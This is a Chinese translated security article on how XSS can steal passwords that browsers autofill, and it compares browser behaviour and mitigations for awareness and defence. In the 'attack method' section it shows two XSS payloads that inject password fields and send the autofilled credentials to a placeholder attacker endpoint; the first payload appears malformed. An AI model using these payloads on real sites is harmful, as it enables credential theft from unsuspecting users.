天天看點

利用XSS漏洞竊取浏覽器自動填充的密碼

作者:安全小白團

跨站點腳本 (XSS) 是一個衆所周知的漏洞,已經存在很長時間,可用于竊取會話、建立虛假登入和執行其他人的操作等。

此外,許多使用者沒有意識到其浏覽器的憑據自動填充功能存在潛在危險。這種攻擊方式并不新鮮,但很多人都不知道,随着我們進一步調查,我們發現危險範圍很廣。在這篇文章中,GoSecure Titan Labs 團隊将示範使用具有自動填充功能的浏覽器密碼管理器在易受 XSS 攻擊的 Web 應用程式中來暴露您的憑據。

01 問題

大多數浏覽器都添加了一種通常稱為“自動填充”的功能,可以簡化 Web 應用程式的登入過程。此功能将自動為給定的 Web 應用程式填充您儲存的憑據,而無需互動。大多數常用浏覽器(如 Firefox、Chrome、Edge、Opera、Internet Explorer)預設啟用此功能,有時根本無法禁用。這意味着無法阻止憑據在基于 Chromium 的浏覽器(如 Chrome 和 Edge)中自動填充,因為沒有禁用它的選項。防止在這些浏覽器上自動填充的唯一方法是根本不儲存您的憑據。對于那些浏覽器來說,這是一種要麼全有要麼全無的情況。是以,即使您禁用了“提供儲存密碼”但仍儲存了憑據,這些浏覽器仍會自動填充。

那麼,為什麼這是一個問題,它如何被 XSS 攻擊竊取?當浏覽器在任何時候發現一個類型為“password”的輸入标簽時,它會自動填充一個密碼。是以,對于 XSS 攻擊,您可以簡單地在頁面正文的某處添加一個密碼字段,等待浏覽器自動填充它,然後擷取該字段内的值并将其發送到您的伺服器。

當然,上面的技術看起來很容易執行,但它并不那麼容易,因為它取決于許多因素,比如受害者是否儲存了該網站的憑證、他們使用的浏覽器、他們儲存了該網站多少憑證以及他們是否啟用了自動填充功能。值得注意的是,如果啟用了自動填充,密碼管理器也可能受到此攻擊方式的影響,這在大多數密碼管理器上不是預設設定。

此外,這種攻擊方式并不新鮮,很容易找到讨論它的部落格。目的是讓這種攻擊方式更加可見,并幫助人們了解使用自動填充的影響,大多數浏覽器預設啟用自動填充。測試的環境盡可能逼真,這意味着它使用HTTPS協定并具有有效證書。

02 攻擊方式

現在,讓我們看看通過簡單的 XSS 攻擊竊取憑據是多麼容易。首先,當您在頁面的任何位置添加類型為“password”的輸入字段(僅使用一組憑據)時,Firefox 的反應如下:

利用XSS漏洞竊取浏覽器自動填充的密碼

現在假設受害者在 Firefox 上儲存了一組憑據,讓我們制作一個有效的有效載荷來提取密碼。

"><input id="p" type="password" name="password"><script>
    setTimeout(function(){
        new Image().src = "https://my_attacker_endpoint/?pass=" 
                        + document.getElementById('p').value;
    };</script>
<input type="hidden<input type="hidden           

成功擷取到憑證

利用XSS漏洞竊取浏覽器自動填充的密碼

現在,同樣的利用,但有兩組憑據:

利用XSS漏洞竊取浏覽器自動填充的密碼

是以,對于 Firefox 上的兩組憑據,它不會自動填充任何憑據。Chrome呢?

利用XSS漏洞竊取浏覽器自動填充的密碼
利用XSS漏洞竊取浏覽器自動填充的密碼

Chrome 似乎隻會前面有使用者名字段的情況下填寫密碼字段,正如您在第一張圖檔中看到的那樣,它沒有填寫密碼字段。請注意,浏覽器 Edge 和 Opera 的反應方式與 Chrome 相同。

現在,讓我們嘗試使用與 Firefox 相同的負載來提取憑據。

利用XSS漏洞竊取浏覽器自動填充的密碼

如您所見,憑據不可通路,這很奇怪。經過一些研究,我們偶然發現了一篇博文,簡而言之,它解釋了 Chrome 需要在頁面中進行任一互動才能粘貼值。這意味着對于 Chrome 和其他基于相同引擎的浏覽器,它需要像點選或按鍵這樣的互動。是以,有效負載需要進行調整,不是使用逾時,而是使用某種使用者互動。為了簡單起見,讓我們在body使用“onclick”事件,這樣每當受害者點選頁面上的連結或滑鼠聚焦到某處,有效負載就會執行。

"><input id="u" type="text" name="username"><input id="p" type="password" name="password"><script>
    document.body.onclick = function(e){
        new Image().src = "https://my_attacker_endpoint/?user="
                        +document.getElementById('u').value+"&pass="
                        + document.getElementById('p').value;
        document.body.onclick = function(e){};
    };</script>
<input type="hidden           
利用XSS漏洞竊取浏覽器自動填充的密碼

這種方式有效。單擊頁面後,有效負載将執行,并将憑據發送到惡意伺服器。就像 Firefox 一樣,在 Chrome 中存有多組憑據會是什麼情況呢?

利用XSS漏洞竊取浏覽器自動填充的密碼

Chrome 将字段設定為上次使用的一組憑據。但有可能獲得其他組的憑據嗎?在Firefox 中會是什麼情況? 它會自動填充與上一個字段中的使用者名比對的密碼嗎?讓我們在 Firefox 上試試看:

利用XSS漏洞竊取浏覽器自動填充的密碼
利用XSS漏洞竊取浏覽器自動填充的密碼

它确實像我們預期的那樣自動填充。Chrome呢?它的情況是否相同?

利用XSS漏洞竊取浏覽器自動填充的密碼
利用XSS漏洞竊取浏覽器自動填充的密碼

它依然會自動填充。這意味着如果使用者名比對,則可以枚舉所有已儲存的憑據。

03 不同浏覽器之間的差別

每個浏覽器都是不同的,因為它們要麼基于不同的引擎,要麼在引擎之上提供附加的安全功能以防止自動填充憑據。Brave 是基于 Chromium 的浏覽器,但它不會自動填充憑據。

下面的一組圖表将通過分析幫助您更好地了解浏覽器安全性和自動填充功能。

3.1 Firefox

有禁用自動填充的選項嗎? YES
會自動填充嗎? YES
是否會在完全比對時自動填充(一個或多個已儲存的憑據)? YES
移動版本以同樣的方式做出反應? YES

Firefox 的優點在于您可以禁用自動填充選項并仍然使用密碼管理器功能。一旦禁用,它需要一個互動來顯示一個彈出視窗,其中包含該來源的比對憑證集。但是,預設情況下啟用此選項。需要注意的是,Tor 浏覽器也基于與 Firefox 相同的引擎,但預設情況下不要求儲存密碼,預設情況下也不會自動填充。此外,手機上的 Tor 浏覽器預設具有“要求儲存密碼”和自動填充功能。然而,根據我們的研究和測試,它不再有效,因為 Tor 總是打開一個隐私視窗,是以不會保留任何資訊,也不會要求儲存密碼。此外,Tor 浏覽器有一個額外的保護,可以阻止腳本,除非使用者允許。

3.2 基于 Chromium 的浏覽器(Chrome、Edge、Opera)

有禁用自動填充的選項嗎? NO
會自動填充嗎? YES
是否會在完全比對時自動填充(一個或多個已儲存的憑據)? YES
移動版本以同樣的方式做出反應(Chrome、Edge)? NO
移動版本以同樣的方式做出反應(Opera)? YES

隻有 Chrome、Edge 和 Opera 進行了全面測試,但還有其他基于相同引擎的浏覽器未進行測試,因為它們未被廣泛使用。在這些浏覽器中,沒有禁用自動填充的選項,即使“提供儲存密碼”功能被禁用,如果為該來源儲存了一組比對的憑據,它也會自動填充。有趣的是,移動版 Chrome 和 Edge 浏覽器的反應方式與桌面版不同。移動版本根本不會自動填充,它們需要互動才能顯示包含該來源的比對憑據集的彈出視窗。

3.3 Brave

有禁用自動填充的選項嗎? NO
會自動填充嗎? NO
是否會在完全比對時自動填充(一個或多個已儲存的憑據)? NO
移動版本以同樣的方式做出反應? YES

Brave 也基于 Chromium,但與其他浏覽器的行為方式不同。無論如何,它都不會自動填充,這可以防止此 XSS 攻擊向量進行憑據洩露。相反,它需要一個互動來顯示一個彈出視窗,其中包含該來源的比對憑證集。

3.4 Internet Explorer

有禁用自動填充的選項嗎? YES
會自動填充嗎? YES
是否會在完全比對時自動填充(一個或多個已儲存的憑據)? YES
移動版本以同樣的方式做出反應? N/A

Internet Explorer 似乎比大多數基于 Chromium 的浏覽器更安全,因為有一個選項可以禁用憑據的自動填充。但是,如果禁用該選項,則無法再使用“儲存憑據”功能。預設情況下啟用該選項。

3.5 Safari

有禁用自動填充的選項嗎? YES
會自動填充嗎? NO
是否會在完全比對時自動填充(一個或多個已儲存的憑據)? NO
移動版本以同樣的方式做出反應? YES

Safari 确實有禁用自動填充的選項,但它不會以任何方式自動填充。它需要一個互動來顯示一個彈出視窗,其中包含該來源的比對憑證集。

04 緩解

Web開發

這個問題沒有真正的解決方案,但您可以采取一些措施來幫助防止跨站點腳本 (XSS)。首先,擁有良好的Content-Security Policy (CSP) header頭将極大地幫助防止執行惡意腳本,進而使 XSS 攻擊更難被利用。也就是說,CSP 配置僅有助于防止 XSS 攻擊,而且有許多已知的繞過方法。其次,確定頁面中的資料經過 HTML 編碼、驗證或清理。

安全管理者

一種解決方案是通過組政策對象 (GPO) 或端點管理器禁用浏覽器密碼儲存。這将阻止使用者使用浏覽器密碼管理器功能儲存其憑據。但是,之前添加的每個密碼仍将自動填寫,具體取決于浏覽器以及該功能是否仍處于啟用狀态。

使用者

對于想要使用密碼管理器的使用者來說,有兩種可行的解決方案。第一個也是最好的解決方案是使用真正的密碼管理器,例如 KeePass 或類似的商業解決方案,例如 1Password 或 Bitwarden,它們是著名的、經過測試的并且預設情況下沒有自動填充功能。確定您的密碼管理器不會自動填寫憑據,這樣它就不會在沒有互動的情況下被 XSS 攻擊自動擷取。第二種解決方案是使用預設情況下不自動填充或允許您禁用已儲存密碼的自動填充的浏覽器。

05 結論

這種攻擊方式絕不是新的,但有趣的是看看有多少常用浏覽器在預設情況下易受攻擊。希望這會提高人們對該問題的認識,并幫助非技術使用者改用更好的解決方案,例如密碼管理器或更靈活、安全意識強且使用者友好的浏覽器。如果您想了解更多我們的發現和類似主題,請記得在 Twitter 和 LinkedIn 上關注 GoSecure 以了解最新調查。

特别感謝 Simon Bouchard 的 iOS 和移動測試以及 Lisandro Ubiedo 的 Tor 測試。

參考及來源:

https://www.gosecure.net/blog/2022/06/29/did-you-know-your-browsers-autofill-credentials-could-be-stolen-via-cross-site-scripting-xss/

06 免責聲明

安全小白團是幫助使用者了解資訊安全技術、安全漏洞相關資訊的頭條号。安全小白團提供的程式(方法)可能帶有攻擊性,僅供安全研究與教學之用,使用者将其資訊做其他用途,由使用者承擔全部法律及連帶責任,安全小白團不承擔任何法律及連帶責任。如有侵權煩請告知,我們會立即删除并緻歉。謝謝!

繼續閱讀